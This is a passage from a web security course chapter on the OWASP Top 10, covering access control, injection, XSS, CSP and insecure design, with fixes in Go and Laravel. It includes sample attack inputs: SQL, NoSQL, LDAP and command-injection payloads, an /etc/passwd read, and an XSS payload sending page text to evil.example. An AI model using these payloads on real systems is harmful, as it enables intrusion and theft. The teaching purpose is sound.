Skip to content

OWASP Top 10: Injection, XSS, CSRF and Friends ​

"The OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications." — OWASP Top 10:2025, Home

Summary: Almost every breach of a web application is one of a dozen mechanisms: the server trusts an identifier it should check (access control), lets data become code (injection, XSS), runs with defaults nobody reviewed (misconfiguration), ships a library with a known hole (components), or lets the browser and the network be used against it (CSRF, SSRF, clickjacking). This chapter walks the OWASP Top 10 (the 2021 list that most audits and contracts still cite, and the 2025 edition that replaced it), plus the "friends" that sit around it, with the exact exploit, how you detect it, and the fix in Go and Laravel 13. Focus: A01 to A10 of 2021 (IDOR, path traversal, CORS misconfiguration, privilege escalation, SQL/NoSQL/command/LDAP/template injection, second-order injection, reflected/stored/DOM XSS, output encoding contexts, CSP nonces and strict-dynamic, Trusted Types, sanitisers, insecure design, default credentials, APP_DEBUG, XXE, security headers, SCA and SBOM, insecure deserialization and gadget chains, SRI, CI/CD integrity, log injection, SSRF and 169.254.169.254, DNS rebinding), the 2025 changes, and CSRF, clickjacking, open redirect, mass assignment, TOCTOU double spend, file uploads, request smuggling, header injection, prototype pollution, business-logic abuse; testing with SAST/DAST/IAST, ZAP, Burp, semgrep, gosec, PHPStan; bug bounty basics. Learning goal: Given an endpoint, name which Top 10 category it can fall into, write the one-line exploit, say how a scanner or a log would detect it, and ship the fix in Go (database/sql placeholders, html/template, os.Root, a dialer IP check, strict decoding) and Laravel 13 (bindings, Blade escaping, PreventRequestForgery, the Fillable attribute, File::image(), a guarded HTTP client, a CSP nonce middleware), plus the CI checks (govulncheck, composer audit, gosec, semgrep) that keep it fixed.

This chapter owns application-level vulnerabilities: what the bug looks like in a handler and how to close it. The threat-modelling method (STRIDE, trust boundaries, defence in depth) is in Security foundations; who may do what (RBAC, ABAC, ReBAC) is in Authorization models; passwords, MFA and session tokens are in Authentication; cookies, SameSite and CORS mechanics are in Web sessions, cookies and CORS; TLS and key management are in Cryptography in practice; network firewalls, VPCs and egress control are in DDoS and network security; the delivery pipeline and incident response are in Secure SDLC. Database-side defences (roles, RLS, pgAudit) are in Database security.

Page map ​

If you are looking forGo to
The ten categories and the friends in three tablesEverything in one minute
Why the same bugs keep coming backWhy it exists
2021 vs 2025, the data behind the list, CWE Top 25Where it comes from
IDOR, privilege escalation, force browsing, CORSA01 Broken access control
Weak crypto, plaintext secretsA02 Cryptographic failures
Prepared statements, ORM raw calls, second-orderSQL injection
Mongo $ne, $where, operator injectionNoSQL injection
sh -c, argument injectionCommand injection
LDAP filters, SSTI, expression languageLDAP and template injection
Reflected, stored, DOM XSS, encoding contextsXSS
CSP nonce, strict-dynamic, Trusted Types, DOMPurifyCSP, Trusted Types and sanitisers
Threat modelling, abuse casesA04 Insecure design
Default credentials, APP_DEBUG, XXE, bucketsA05 Security misconfiguration
HSTS, nosniff, Referrer-Policy, Permissions-PolicySecurity headers
SCA, Dependabot, Renovate, govulncheck, SBOMA06 Vulnerable components
Credential stuffing, session bugsA07 Authentication failures
unserialize, gadget chains, SRI, CI/CDA08 Integrity failures
What to log, log injection, alertingA09 Logging failures
Metadata endpoint, DNS rebinding, egressA10 SSRF
Fail open, unhandled errors (new in 2025)Exceptional conditions
Synchronizer token, SameSite, Fetch MetadataCSRF
Invisible iframes, frame-ancestorsClickjacking
?next=https://evil.exampleOpen redirect
role=admin in a JSON body, $fillableMass assignment
Double spend, coupon reuse, TOCTOURace conditions
Content sniffing, image bombs, web shellsFile upload
CL.TE, TE.CL, CRLF in headersRequest smuggling and header injection
__proto__ in JSONPrototype pollution
Abuse that breaks no rule of HTTPBusiness-logic abuse
Headers, status codes, gosec rule idsMechanics
CodeGo, Laravel
Pentest findings and how to close themSolving the classic problems
SAST, DAST, IAST, ZAP, Burp, bug bountyTesting
Which control for which endpointChoosing
Monolith to distributed systemIn architecture
Hands-onLab

Everything in one minute ​

The 2021 list (still the one most audits, contracts and scanners map to). Each row is unpacked in the catalogue.

2021 categoryIn plain wordsTiny exploitFirst fix
A01 Broken Access ControlThe server does not check that this user may touch this objectGET /invoices/1002 while logged in as the owner of 1001Check ownership on every request, deny by default
A02 Cryptographic FailuresData is readable or forgeable by someone it should not bePasswords hashed with MD5; HTTP login formTLS everywhere, Argon2id/bcrypt, AEAD, managed keys
A03 InjectionInput becomes code in an interpreter (SQL, shell, HTML, LDAP)email=x' OR '1'='1Parameterise; encode output per context
A04 Insecure DesignThe flow itself allows abuse, even with perfect codeUnlimited password-reset attempts by designThreat model, abuse cases, limits in the design
A05 Security MisconfigurationDefaults, debug pages, open buckets, missing headersAPP_DEBUG=true shows the stack trace and envHardened config as code, headers middleware
A06 Vulnerable and Outdated ComponentsA dependency has a published CVEOld image library with a known RCESCA in CI, govulncheck, composer audit, SBOM
A07 Identification and Authentication FailuresLogin, sessions or recovery are weakCredential stuffing with no rate limitMFA, rate limits, session rotation
A08 Software and Data Integrity FailuresCode or data is trusted without verifying where it came fromunserialize($_COOKIE['cart'])Signed payloads, data-only formats, signed builds, SRI
A09 Security Logging and Monitoring FailuresAttacks happen and nobody notices10,000 failed logins, no alertLog security events, alert on them, protect logs
A10 Server-Side Request ForgeryThe server fetches a URL the attacker pickedurl=http://169.254.169.254/latest/meta-data/Allowlist, IP check at connect time, egress control

What changed in 2025. The 2025 introduction says: "There are two new categories and one consolidation in the Top Ten for 2025."

2025Came fromWhat changed
A01 Broken Access ControlA01:2021 + A10:2021 SSRFSSRF "has been rolled into this category"
A02 Security MisconfigurationA05:2021Up from 5 to 2
A03 Software Supply Chain FailuresA06:2021 widenedBuilds, distribution and update channels, not only vulnerable libraries
A04 Cryptographic FailuresA02:2021Down two places
A05 InjectionA03:2021Down two; still includes XSS
A06 Insecure DesignA04:2021Down two
A07 Authentication FailuresA07:2021 renamed"Identification and" dropped
A08 Software or Data Integrity FailuresA08:2021Narrowed to lower-level integrity checks
A09 Security Logging and Alerting FailuresA09:2021 renamedAlerting emphasised
A10 Mishandling of Exceptional ConditionsnewError handling, failing open, logic on abnormal states

The friends. Not separate Top 10 entries (most map into A01, A03, A04, A05 or A08), but every review checklist contains them.

FriendPlain wordsTiny exploitFix
CSRFYour browser sends your cookie on a request an evil page triggeredHidden form posting to /transferSec-Fetch-Site check + synchronizer token, SameSite
ClickjackingYour page is framed invisibly and the user clicks the real button<iframe> with opacity 0 over a "win a prize" buttonframe-ancestors 'none'
Open redirectYour domain bounces users to the attacker/login?next=https://evil.exampleLocal paths only
Mass assignmentThe client sets fields the form never had{"role":"admin"}Input DTO / Fillable allowlist
Race / TOCTOUTwo requests pass the same check before either writesRedeem one coupon twice in parallelAtomic conditional update, unique keys, locks
File uploadThe file is code, a bomb or a pathavatar.php, 50,000 x 50,000 PNGSniff, size and pixel caps, random name, store off web root
Request smugglingFront end and back end disagree where a request endsContent-Length + Transfer-EncodingHTTP/2 end to end, reject ambiguous requests
Header injectionCR/LF in input splits a headernext=/%0d%0aSet-Cookie:...Reject control characters; framework header APIs
Prototype pollutionJSON key __proto__ changes every object in a JS process{"__proto__": {"isAdmin": true} }Null-prototype objects, schema validation

Why it exists ​

Every web application is a translator. It takes bytes from strangers and turns them into SQL, shell commands, HTML, file paths, outbound URLs and object graphs. Each of those targets has its own grammar, and the moment a stranger's bytes are allowed to change the grammar rather than only fill a slot in it, the stranger is writing your program. The second source of bugs is identity: the request says who it is from and what it wants, and the server forgets to ask "may this user do this to that object?". The third is everything around the code: configuration, dependencies, build pipelines and logs.

ChoiceGainCost
Build strings from inputQuick to write, flexibleEvery interpreter becomes an injection point
Separate code and data (placeholders, argv, templates)Injection becomes impossible by constructionIdentifiers and sort orders need an allowlist
Trust the client's identifiersSimple handlersIDOR on every object type
Check authorization per object, deny by defaultHolds even when routes are guessedA policy layer and tests for it
Framework defaults (auto-escaping, CSRF middleware)Most bugs closed without thinkingEscape hatches ({!! !!}, template.HTML, whereRaw) reopen them silently
Strict CSP, Trusted TypesXSS that slips through cannot runInline scripts and some third-party widgets must be refactored
Fetch URLs for usersLink previews, webhooks, importsThe server becomes a proxy into your network (SSRF)
DependenciesSpeedTheir CVEs are your CVEs; a supply chain to secure

An everyday picture. A bank branch. Customers hand slips to a teller. Injection is a slip that says "pay 10 to Bob; also open the vault", and a teller who reads the whole slip as instructions. Parameterisation is a printed form with boxes: whatever is written in the amount box is only ever an amount. Broken access control is a teller who hands over any safe-deposit box whose number you can recite. CSRF is someone slipping a filled-in form into your pocket that you hand over without looking. SSRF is a customer asking the teller to phone a number "for them", and the number is the vault's internal line. We reuse this branch throughout.

Three common misunderstandings, up front ​

  1. "We use an ORM, so we cannot have SQL injection." The ORM binds values in its normal methods; whereRaw, orderByRaw, DB::raw, selectRaw, column names from input and string-built JPQL/HQL are all injectable. The Laravel docs say: "PDO does not support binding column names."
  2. "Input validation fixes XSS and injection." Validation narrows what arrives; it does not know where the value will be used. The fix is output-side: placeholders for SQL, argv for commands, context-aware encoding for HTML. Validate as well, but never as the only layer.
  3. "We are behind a firewall, so SSRF and internal APIs are safe." SSRF uses your server, which is inside the firewall. The 2021 A10 text says the attacker can "coerce the application to send a crafted request to an unexpected destination, even when protected by a firewall, VPN, or another type of network access control list (ACL)."

Where it comes from ​

  • OWASP (Open Worldwide Application Security Project) publishes the Top 10 as an awareness document. The 2025 introduction calls it "the 8th installment of the OWASP Top Ten"; the previous one was 2021, whose index page still lists A01 Broken Access Control through A10 Server Side Request Forgery (SSRF).
  • 2021 data. Broken Access Control moved up from fifth: "94% of applications were tested for some form of broken access control", with "over 318k" occurrences. Injection slid to third, with 33 CWEs mapped and 274,228 occurrences; the 2021 page lists SQL, NoSQL, OS command, ORM, LDAP and EL/OGNL injection and says "Source code review is the best method of detecting if applications are vulnerable to injections". SSRF entered from the community survey with a single CWE.
  • 2025 data. The 2025 release ranks 12 categories from data and promotes two from the community survey; data "for over 2.8 millions applications" and about 175k CVE records mapped to CWEs. SSRF is folded into A01; A06:2021 becomes A03:2025 Software Supply Chain Failures; A10:2025 Mishandling of Exceptional Conditions is new with 24 CWEs. Injection "includes a range of issues from Cross-site Scripting (high frequency/low impact) to SQL Injection (low frequency/high impact)".
  • CWE Top 25 (MITRE, 2025). The weakness-level list agrees with the Top 10 on what matters on the web: rank 1 is CWE-79 Cross-site Scripting, 2 is CWE-89 SQL Injection, 3 is CWE-352 CSRF, 4 is CWE-862 Missing Authorization, 6 is CWE-22 Path Traversal, 9 is CWE-78 OS Command Injection, 12 is CWE-434 unrestricted upload, 15 is CWE-502 deserialization, 22 is CWE-918 SSRF, 24 is CWE-639 (the IDOR weakness).
  • OWASP Cheat Sheet Series is the "how to fix" companion (SQL injection, XSS, CSRF, SSRF, file upload, mass assignment, deserialization, CSP, HTTP headers); OWASP ASVS (Application Security Verification Standard) is the testable requirement list you put in contracts; PortSwigger Web Security Academy is the free training ground for request smuggling, SSRF, XSS and race conditions.
  • Version note. This page quotes the 2025 release pages as published at owasp.org/Top10/2025 (read 2026-11-26) and the 2021 pages at owasp.org/Top10/2021. When a contract says "OWASP Top 10", ask which year.
OWASP Top 10:2021OWASP Top 10:2025A01 Broken Access ControlA02 Cryptographic FailuresA03 InjectionA04 Insecure DesignA05 Security MisconfigurationA06 Vulnerable and Outdated ComponentsA07 Identification and Auth FailuresA08 Software and Data Integrity FailuresA09 Logging and Monitoring FailuresA10 SSRFA01 Broken Access ControlA02 Security MisconfigurationA03 Software Supply Chain FailuresA04 Cryptographic FailuresA05 InjectionA06 Insecure DesignA07 Authentication FailuresA08 Software or Data Integrity FailuresA09 Logging and Alerting FailuresA10 Mishandling of Exceptional ConditionsDashed: SSRF (CWE-918) rolled into A01. A10:2025 is new (24 CWEs: failing open, error handling).

The concept catalogue ​

A01 Broken access control: IDOR, privilege escalation, force browsing, CORS Must-know ​

In plain words: The server authenticates you, then believes whatever object id, role or URL you send. The teller checks your ID card and then hands over whichever deposit box number you say.

Common misunderstanding: "The id is a UUID, so nobody can guess it." Ids leak in URLs, emails, logs, referrers and shared links; unguessable ids reduce enumeration but are not authorization. The check "does this user own this object?" has to run on every request.

Definition: Access control "enforces policy such that users cannot act outside of their intended permissions" (OWASP 2021 A01). Failures include: IDOR (insecure direct object reference, CWE-639), horizontal privilege escalation (another user's data at the same level), vertical privilege escalation (user to admin), force browsing to unlinked admin URLs, missing checks on POST/PUT/DELETE while GET is protected, tampering with JWT claims or hidden fields, path traversal (CWE-22, a file-system IDOR), and CORS misconfiguration that "allows API access from unauthorized/untrusted origins". In 2025 SSRF also lives here.

     Ana (user 41)                          API
 1   GET /api/invoices/1001                 -> 200, invoice of user 41 (hers)
 2   GET /api/invoices/1002                 -> 200, invoice of user 57   (IDOR: no owner check)
 3   PATCH /api/users/41 {"role":"admin"}   -> 200                       (vertical escalation via mass assignment)
 4   GET /admin/export                      -> 200                       (force browsing: route not in the menu, not protected)
 5   fix: SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3  -> 404 for 1002

Real scenario: a billing portal where invoice numbers are sequential; a mobile API that protects the screen but not the endpoint; a multi-tenant SaaS where tenant_id comes from the request body; an S3 presigned URL generator that signs any key the client names; a CORS policy that reflects any Origin with Access-Control-Allow-Credentials: true, letting any site read the logged-in user's data.

VariantWhere it hidesDetectionFix
IDOR/{id} routes, GraphQL node(id:), file keysTwo test users, swap ids (Burp Autorize-style replay)Scope every query by owner/tenant; policy check
Vertical escalationAdmin endpoints, role fieldsCall admin APIs with a user tokenDeny by default; role check in middleware and policy
Force browsingUnlinked URLs, old API versionsDirectory brute force, API spec diffRoute-level auth on everything, remove dead routes
Path traversalDownload/export by filename../ payloads, gosec G304os.Root, allowlisted ids instead of names
CORS misconfigurationOrigin reflection, null origin, suffix matchescurl -H 'Origin: https://evil.example'Exact origin allowlist, Vary: Origin
Metadata tamperingJWT role claim, hidden price fieldModify and replayServer-side state, verify signatures, never trust client price

Fix / how to use it: SQL first: put the owner in the WHERE (see Solving). Go: path traversal with os.Root and owner-scoped queries. Laravel: Gate::authorize('update-post', $post) or a policy, plus queries scoped through the relation ($request->user()->invoices()->findOrFail($id)). The full models (RBAC/ABAC/ReBAC, policy engines) are in Authorization models; CORS mechanics are in Web sessions and CORS.

A02 Cryptographic failures Important ​

In plain words: Data that should be secret or tamper-proof is not: it travels without TLS, is stored in clear, or is protected by a broken algorithm or a key in the repository.

Common misunderstanding: "We encrypt the database, so we are fine." Disk encryption protects a stolen disk, not an attacker who reads through your application or a backup bucket; passwords still need a slow hash, tokens still need a CSPRNG.

Definition: The 2021 A02 category (A04 in 2025) covers missing transport encryption, weak or home-made algorithms, MD5/SHA-1 for passwords, ECB mode, reused IVs/nonces, predictable randomness (math/rand, rand()), hard-coded keys, missing certificate validation (InsecureSkipVerify, gosec G402) and sensitive data kept longer than needed.

SmellDetectionFix (owned elsewhere)
http:// login or APITLS scan, HSTS missingTLS everywhere + HSTS (Cryptography in practice)
md5($password), sha1gosec G401, code searchArgon2id or bcrypt (Password hashing)
InsecureSkipVerify: truegosec G402Fix the CA chain instead
Key in .env committed to gitSecret scanning (gitleaks, GitHub push protection)Secrets manager, rotation
Token from math/randCode review, gosec G404crypto/rand, random_bytes()

Fix / how to use it: Use the library's high-level API (Go crypto/cipher AEAD, Laravel Crypt and Hash), never your own construction; the primitives are in Cryptography fundamentals.

SQL injection: prepared statements, ORM pitfalls, second-order Must-know ​

In plain words: The query is built by gluing input into SQL text, so a quote in the input ends your string and the rest of the input is parsed as SQL.

Common misunderstanding: "I escape quotes, so it is safe." The OWASP SQL Injection Prevention Cheat Sheet: "Do not manually escape untrusted values to construct SQL queries. Use parameterized queries instead." Escaping depends on dialect, connection character set and context (numbers, LIKE, identifiers), and fails in ways you will not test for.

Definition: "A SQL injection attack occurs when untrusted data (usually strings) becomes part of a query's SQL syntax, modifying the logic of the SQL request." The resolution the cheat sheet gives: "define the SQL structure separately from its data values, then bind those values through the database API": parameterised queries (prepared statements, $1 in PostgreSQL, ? in MySQL/SQLite) for values, and "fixed application-owned choices for dynamic table names, column names, sort order (ASC, DESC)". Variants: classic in-band (UNION SELECT), error-based (database error messages leak data), boolean- and time-based blind (AND pg_sleep(5)), out-of-band (DNS lookups from the database), stacked queries (; DROP TABLE), and second-order injection: a value is stored safely, then later read back and concatenated into another query, because "it came from our own database".

Same input, two ways to reach the interpreterInputx' OR '1'='1Concatenation"... WHERE email = '" + input + "'"SQL text the parser seesWHERE email = 'x' OR '1'='1'data became syntax: every rowInputx' OR '1'='1Code channel (fixed)WHERE email = $1Data channel (bind)$1 = "x' OR '1'='1"Parser compiles the fixed text,then binds the value as a literalno row has that email: 0 rowssame idea: argv, LDAP filters, templatesIdentifiers and ASC/DESC cannot be bound: map them through an allowlist owned by the code.
     Attacker                                   App                                   PostgreSQL
 1   signup name = "x'||(SELECT password FROM users WHERE id=1)||'"
 2                                              INSERT ... VALUES ($1)  (bound: stored verbatim, safe)
 3   (days later) admin opens "report by name"
 4                                              q := "SELECT * FROM orders WHERE customer = '" + storedName + "'"
 5                                                                                    parses the stored text as SQL
 6                                              report now shows the admin password hash   (second-order injection)
 7   fix: line 4 binds storedName as $1 too; "data from our database" is still untrusted

Real scenario: search boxes and filters (LIKE '%...%'), ORDER BY from a sortable table header, reports built from saved filters (second-order), a "custom field" feature that becomes column names, IN (...) lists built by joining ids, stored procedures that build dynamic SQL inside the database (EXECUTE 'SELECT ...' || p_name).

LayerSafeInjectable
Go database/sql / pgxdb.QueryContext(ctx, "... WHERE id = $1", id)fmt.Sprintf or + into the query (gosec G201/G202)
GORMdb.Where("email = ?", e)db.Where(fmt.Sprintf("email = '%s'", e)), Order(userInput)
Laravel query builder / Eloquentwhere('email', $e), whereLike, selectRaw('... ?', [$x])whereRaw("email = '$e'"), orderByRaw($sort), DB::select("... $x"), where($column, ...) with user column
PostgreSQL PL/pgSQLEXECUTE format('SELECT ... WHERE id = %L', p_id) or USINGEXECUTE 'SELECT ... ' || p_id
MySQL / PDONative prepares (PDO::ATTR_EMULATE_PREPARES=false) with bound paramsEmulated prepares with a wrong client charset (historic multi-byte bypass)
IdentifiersMap to an allowlist; quote_ident / pgx.Identifier.Sanitize only for schema toolsAny identifier taken from input

Fix / how to use it: SQL:

sql
-- PostgreSQL: a prepared statement; the parameter is never parsed as SQL
PREPARE find_user(text) AS SELECT id, email, role FROM users WHERE email = $1;
EXECUTE find_user('x'' OR ''1''=''1');   -- 0 rows: the whole string is one email

-- Dynamic SQL inside the database: format() with %I (identifier) and %L (literal), or USING
CREATE FUNCTION orders_by(p_col text, p_customer text) RETURNS SETOF orders LANGUAGE plpgsql AS $$
BEGIN
  IF p_col NOT IN ('created_at', 'total') THEN RAISE EXCEPTION 'bad sort %', p_col; END IF;
  RETURN QUERY EXECUTE format('SELECT * FROM orders WHERE customer = $1 ORDER BY %I DESC', p_col) USING p_customer;
END $$;

-- Least privilege limits the blast radius when a bug slips through
REVOKE ALL ON ALL TABLES IN SCHEMA public FROM app_web;
GRANT SELECT, INSERT, UPDATE ON orders, order_items TO app_web;

Go: sqli/after.go binds values and takes ORDER BY from a map. Laravel: PostSearchController validates sort with Rule::in and binds the term; the docs warn: "Raw statements will be injected into the query as strings, so you should be extremely careful to avoid creating SQL injection vulnerabilities." More depth on roles and RLS: Database security; ORM traps: ORM pitfalls.

NoSQL and operator injection Important ​

In plain words: A document database query is a JSON object, so if the client can send an object where you expected a string, it can send an operator such as {"$ne": null}.

Common misunderstanding: "MongoDB has no SQL, so there is no injection." The 2021 A03 list names NoSQL injection explicitly; the grammar is JSON operators and JavaScript ($where) instead of SQL.

Definition: Operator injection: POST /login {"user": "admin", "password": {"$ne": ""} } turns db.users.findOne({user, password}) into "any password that is not empty". Also $regex for data extraction, $where/$function/mapReduce running server-side JavaScript, and $lookup/aggregation stages built from input. Redis has the same class with EVAL scripts built by string concatenation.

 1  client sends   {"user": "admin", "password": {"$ne": ""} }
 2  Node/PHP app   users.findOne({ user: body.user, password: body.password })
 3  MongoDB sees   { user: "admin", password: { $ne: "" } }   -> matches admin
 4  fix            cast to string / schema-validate: password must be type string
StoreInjection formFix
MongoDB$ne, $gt, $regex, $where from decoded JSONDecode into typed structs (Go bson into string fields), reject objects, disable server-side JS (--noscripting, security.javascriptEnabled: false)
Laravel + MongoDB packagewhere('password', $request->input('password')) receives an arrayValidate 'password' => ['required', 'string']
RedisEVAL with script text built from inputFixed script text, pass data in KEYS/ARGV
ElasticsearchQuery DSL / query_string from inputBuild queries server-side; use match, not query_string

Fix / how to use it: In Go, decoding into a struct with string fields makes {"$ne":""} a type error. In Laravel, the string validation rule rejects arrays. MongoDB specifics are in MongoDB in depth.

OS command injection and argument injection Must-know ​

In plain words: The app runs a program through a shell with input inside the command line, so ;, |, $( ) or backticks in the input start new commands.

Common misunderstanding: "No shell, so no injection." Without a shell you cannot chain commands, but you can still inject arguments: a value starting with - becomes an option (--output=/var/www/shell.php, -oProxyCommand= for ssh, --upload-pack for git).

Definition: CWE-78 (rank 9 in CWE Top 25 2025). Defences in order: do not call a program (use a library: image processing, DNS, mail); if you must, no shell (argv array), allowlist the value, and end option parsing with --. The OWASP OS Command Injection Defense Cheat Sheet treats escaping (escapeshellarg) as the last resort.

 1  input host = "example.com; cat /etc/passwd"
 2  before: sh -c "ping -c 1 example.com; cat /etc/passwd"   -> two commands
 3  after:  argv = ["ping","-c","1","--","example.com; cat /etc/passwd"] -> rejected by the hostname allowlist
 4  input host = "-oProxyCommand=id" (ssh)                   -> rejected: leading "-" not allowed, and "--" ends options
LanguageDangerousSafer
Goexec.Command("sh", "-c", "cmd " + x) (gosec G204)exec.CommandContext(ctx, "cmd", "--", x) after validation
PHPexec, shell_exec, system, passthru, backticks, proc_open with a stringproc_open([...]) array form, Symfony\Component\Process\Process(['cmd', '--', $x])
LaravelProcess::run("convert {$path} out.png") (string goes to a shell)Process::run(['convert', '--', $path, 'out.png']) (array, no shell)

Fix / how to use it: Go cmdinject. For image conversion or PDF rendering, prefer a sandboxed worker with no network and no secrets, so a remaining bug cannot reach anything.

LDAP, template (SSTI) and expression-language injection Good to know ​

In plain words: Any mini-language you build from strings is injectable: LDAP filters, server-side templates, XPath, expression languages.

Common misunderstanding: "Templates are for HTML, so the risk is XSS." If user input becomes the template source rather than template data, it is server-side template injection (SSTI) and usually remote code execution.

Definition: LDAP injection: (&(uid= + input + )(objectClass=person)) with input *)(uid=*))(|(uid=* matches everyone; fix by escaping filter metacharacters * ( ) \ NUL per RFC 4515 (Go ldap.EscapeFilter in go-ldap, PHP ldap_escape($v, '', LDAP_ESCAPE_FILTER)). SSTI: rendering "Hello " + name as a template (the classic probe is a 7*7 expression inside template delimiters that renders as 49 in Jinja2 or Twig; Freemarker and Velocity have their own syntax; Go text/template with attacker-controlled source can call exported methods). Expression language / OGNL injection is the Java variant behind several Struts CVEs.

Mini-languageProbeFix
LDAP filter*)(uid=*Escape per RFC 4515; bind with the user's DN rather than search with input
Go text/template, html/templateInput passed to ParseNever parse user input; templates come from files you ship
BladeBlade::render($userString)Never render user strings as Blade; user content is data in a fixed view
Twig / Jinja2 / Freemarker7*7 evaluates to 49Sandboxed environments, fixed templates
XPath' or '1'='1Parameterised XPath (variables)

Fix / how to use it: Templates live in the repository; user text only ever reaches Execute/render as data.

XSS: reflected, stored and DOM-based; output encoding by context Must-know ​

In plain words: The page shows user data, and the browser reads that data as markup or script, so the attacker's JavaScript runs in your origin with the victim's session.

Common misunderstanding: "HttpOnly cookies make XSS harmless." HttpOnly stops document.cookie theft; the injected script still sends requests as the user (with cookies and CSRF tokens it can read from the page), reads the DOM, and can rewrite the login form. The CSRF cheat sheet: "Cross-Site Scripting (XSS) can defeat all CSRF mitigation techniques!"

Definition: XSS is injection into HTML/JavaScript (CWE-79, rank 1 in CWE Top 25 2025; part of A03:2021 and A05:2025). Reflected XSS: the payload is in the request and echoed in the response (/search?q=<script>...). Stored XSS: saved (comment, profile, file name) and served to every viewer. DOM XSS: client JavaScript moves data from a source (location.hash, postMessage, document.referrer) into a sink (innerHTML, eval, script.src); the server may never see the payload. The fix is output encoding chosen by context (context-aware escaping); the XSS cheat sheet: "Since no single technique will solve XSS, using the right combination of defensive techniques will be necessary to prevent XSS."

     Attacker                         Server                         Victim browser
 1   POST /comments body="<img src=x onerror=fetch('//evil.example/?c='+document.body.innerText)>"
 2                                    stores the comment
 3                                                                   GET /post/7
 4                                    renders comment with text/template or {!! !!}
 5                                                                   <img onerror> runs in your origin   (stored XSS)
 6   fix: escaped output -> &lt;img src=x onerror=...&gt; displayed as text; CSP blocks inline handlers anyway
ContextExample sinkEncodingGo html/templateBlade
HTML body<p>VALUE</p>HTML entity (&lt; &amp;)automaticdouble-curly echo
HTML attribute (quoted)title="VALUE"Attribute encoding, always quoteautomaticdouble-curly echo inside quotes
URL in href/srchref="VALUE"Validate scheme (https:), then URL-encodeunsafe schemes become #ZgotmplZcheck https:// yourself
JavaScript stringconst x = VALUEJS string escaping / JSONautomatic (emits a quoted literal)Js::from($value)
CSSstyle="color: VALUE"Avoid; strict allowlistZgotmplZ for unsafe valuesavoid
Dangerous contextsinside <script> code, event handlers, evalDo not place data thererefuses or escapesnever

Real scenario: search pages echoing q; markdown comments rendered to HTML; admin panels showing user agents (stored XSS against admins is the classic privilege escalation); SVG uploads; JSON embedded in a <script> block with </script> inside a string; single-page apps using dangerouslySetInnerHTML or v-html.

Fix / how to use it: Go xss: the same template under text/template is injectable and under html/template is escaped per context; the package docs state "The escaping is contextual, so actions can appear within JavaScript, CSS, and URI contexts." Laravel: Blade's double-curly echo "is automatically sent through PHP's htmlspecialchars function to prevent XSS attacks"; the raw echo is for HTML you sanitised. Rendering is covered in html/template.

CSP, nonces, strict-dynamic, Trusted Types and sanitisers Must-know ​

In plain words: A Content Security Policy is a header that tells the browser which scripts may run. With a nonce-based policy only <script> tags carrying this response's random nonce run, so injected markup cannot execute even if escaping failed somewhere.

Common misunderstanding: "A domain allowlist CSP (script-src 'self' cdn.example.com) stops XSS." Allowlists are routinely bypassed through JSONP endpoints, old library versions and open redirects on allowed hosts; the OWASP CSP cheat sheet's "Strict Policy" is nonce- or hash-based, not host-based.

Definition: The OWASP nonce-based strict policy:

Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic';
  object-src 'none';
  base-uri 'none';

CSP nonce: fresh random value (at least 128 bits) per response, put on each legitimate <script nonce="...">. strict-dynamic: scripts loaded by an already trusted script are trusted too, so bundlers and tag managers work without listing hosts; MDN notes it "does make your CSP less secure, though, because if the scripts you include create <script> elements based on potential sources of XSS, then the CSP will not protect them." frame-ancestors replaces X-Frame-Options. report-to/report-uri and Content-Security-Policy-Report-Only let you roll out without breaking. Trusted Types (require-trusted-types-for 'script') makes DOM sinks such as innerHTML, eval and script.src refuse plain strings; code must pass a value produced by a named policy (which typically runs a sanitiser). A sanitiser (HTML sanitizer) such as DOMPurify (browser), HTML Purifier or symfony/html-sanitizer (PHP), or bluemonday (Go) removes dangerous tags and attributes from rich text; OWASP: "OWASP recommends DOMPurify for HTML Sanitization."

Where each XSS defence acts, from server template to browser sinkUntrusted datacomment, name, URL,query string, JSON1. Encode per contextHTML body, attribute,URL, JS string, CSShtml/template, Blade2. Sanitise rich HTMLallowlist tags/attrsDOMPurify,HTML Purifier3. Strict CSPscript-src noncestrict-dynamicobject-src none4. Trusted TypesinnerHTML, eval,script.src needa policyReflected XSSpayload in the request,echoed in the responseStored XSSpayload saved (comment, profile),served to every visitorDOM XSSsource location.hash, postMessageto sink innerHTML in client JSserver never sees itLayers 1 and 2 stop reflected and stored XSS at the server; layers 3 and 4 catch what slips through, including DOM XSS.HttpOnly session cookies limit theft but not actions: script still runs as the user.
 1  response 1: CSP script-src 'nonce-Q2x...' 'strict-dynamic'   page has <script nonce="Q2x..." src=/app.js>
 2  app.js creates <script src=/chunk.js>                         allowed by strict-dynamic
 3  injected comment contains <script>steal()</script>             no nonce -> blocked, report sent
 4  injected <img onerror=...>                                     inline handler -> blocked
 5  response 2 has a new nonce; a nonce copied from response 1 is useless
ControlStopsDoes not stopProduct notes
Nonce CSP + strict-dynamicInjected inline and external scripts, inline handlersScript gadgets in your own trusted code, HTML-only injection (forms, links)Laravel Vite::useCspNonce(); Go middleware here; Google's strict CSP guidance
Hash CSPSame, for static pagesDynamic inline scriptsGood for static sites behind a CDN
Host allowlist CSPLittleJSONP and library gadgets on allowed hostsAvoid as the main control
Trusted TypesDOM XSS at sinksServer-side XSS without CSPChromium-based browsers; others ignore the directive
SanitiserScript in user rich textMisuse after sanitising (mutation XSS)DOMPurify, HTML Purifier, bluemonday
HttpOnly cookieCookie theft by scriptActions as the userEvery session cookie

Fix / how to use it: Go headers.Secure issues a nonce per request and exposes it to templates; Laravel SecurityHeaders calls Vite::useCspNonce(); the Laravel docs: "After invoking the useCspNonce method, Laravel will automatically include the nonce attributes on all generated script and style tags." Start in Report-Only, watch reports, then enforce.

A04 Insecure design Important ​

In plain words: The code does exactly what the design says, and the design lets an attacker win: unlimited guesses, a reset flow that reveals whether an email exists, a referral bonus with no limit.

Common misunderstanding: "A pentest will find it." Scanners find implementation bugs; design flaws need someone asking "how would I abuse this?" before the code exists.

Definition: A04:2021 (A06:2025) is about missing or ineffective controls in the design: no threat model, no abuse cases, no limits, trust boundaries drawn in the wrong place. The tools are threat modelling (STRIDE per data flow), security requirements from OWASP ASVS, abuse cases next to use cases, and reference architectures (paved roads).

Design flawAbuseDesign fix
Unlimited OTP attemptsBrute force a 6-digit code (1,000,000 tries)Attempt counter per code and per account, short expiry
Price in the clientEdit the cart pricePrice computed server-side from catalogue
One discount check per requestStack discounts in parallelUnique constraint on redemption, atomic checks
Account enumeration in resetHarvest valid emailsSame response and timing for unknown emails
